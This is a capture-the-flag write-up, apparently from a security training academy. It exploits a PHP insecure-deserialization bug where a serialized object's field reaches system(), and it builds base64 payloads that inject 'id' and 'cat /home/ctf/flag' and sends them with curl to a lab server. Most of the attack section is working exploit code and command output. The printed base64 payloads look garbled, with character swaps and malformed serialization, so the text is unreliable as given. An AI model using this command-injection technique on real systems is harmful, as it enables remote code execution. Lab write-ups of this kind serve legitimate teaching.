

PentESTGORAGE

serial_killer

🕒 Created	@Jan 17, 2021 9:12 AM
🏷️ tags	insecure-deserialization php source-code-review

we are given an endpoint to connect to as `35.184.207.253:80` opening the endpoint in a web browser.

```

<?php
class A {
    public $data;
    public function __destruct() {
        system("echo $this->data > /dev/null");
    }
}

if (isset($_POST["data"])) {
    $data = unserialize(base64_decode($_POST["data"]));
    echo "Data recieved<br>";
} else {
    highlight_file(__FILE__);
}

```

we see that our input is passed to `unserialize` function now if we send an serialized object of type A we see that is passed the `$data` is passed to `system` function.

We can generate the test payload using the following commands.

Interactive mode enabled

```

php > class A {
php {     public $data;
php { };
php > $a = new A;
php > $a->data = '; id; echo lol ';
php > echo base64_encode(serialize($a));
TzoxOiJBImRhdGEiO3M6MTU6IjsgaWQ7IGVjaG8gbG9sICl7fQ==
php >

```

now we can send the data using curl as follows

```

> curl http://35.184.207.253/ --data 'data=TzoxOiJBImRhdGEiO3M6MTU6IjsgaWQ7IGVjaG8gbG9sICl7fQ=='
Data recieved<br>
uid=33(www-data) gid=33(www-data) groups=33(www-data)

```

and we have Remote Code Execution on the server. We can now read the flag using the following payload.

```
php > class A {  
php {      public $data;  
php { };  
php > $a = new A;  
php > $a->data = '; cat /home/ctf/flag; echo lol ';  
php > echo base64_encode(serialize($a));  
Tzox0iJBjoxOntzOjQ6ImRhdGEi03M6MzE6IjsgY2F0IC9ob21lL2N0Zi9mbGFnOyBLY2hvIGxvbCAi030=  
php >
```

```
> curl http://35.184.207.253/ --data 'data=Tzox0iJBjoxOntzOjQ6ImRhdGEi03M6MzE6IjsgY2F0IC9ob21lL2N0Zi9mbGFnOyBLY2hvIGxvbCAi030='  
Data recieved<br>  
ctf{ins3cur3_deser!al!z4t!0n}  
~/Workspace/dotfiles main
```

An Edutech product of
RedTeam Hacker Academy Pvt. Ltd.

PentestGorage

REDTEAM360
AMALGAMATING CYBERSECURITY EDUCATION

RedTeam Hacker Academy Pvt. Ltd.

An ISO 9001 - 2015 Certified Company

Contact

PUNE

Level 4, Prabhavatech Park,
Baner, Pune, Maharashtra 411045A

+91 859 060 4105

TRIVANDRUM

2nd Floor, Athens Plaza, SS Kovil Road,
Near Apollo Dimora, Opposite
Central Railway Station, Thampanoor,
Thiruvananthapuram, Kerala 695001

+91 956 219 5666

MANGALORE

2nd Floor, Alfa Towers,
Balmatta Rd, Hampankatta,
Mangalore, Karnataka 575001

+91 789 923 4666

KOCHI

1st Floor, Kariyapillai Tower,
Near Kinder Hospital, Metro Pillar
No.345, VMB Road,
Pathadippalam, Edappally,
Ernakulam, Kerala 682024

+91 956 290 4666

CALICUT

3rd Floor, Thayyil Arcade,
Opposite Baby Memorial Hospital,
V. Panoli Road, Azhakodi Temple Road,
Kozhikode, Kerala 673004

+91 956 250 3666

KOTTAKKAL

4th Floor, K.P.M Tower,
Above South Indian Bank
Tirur, Malappuram, Manjeri Rd,
Kottakkal, Kerala 676503

+91 984 629 1666



@redteamacademy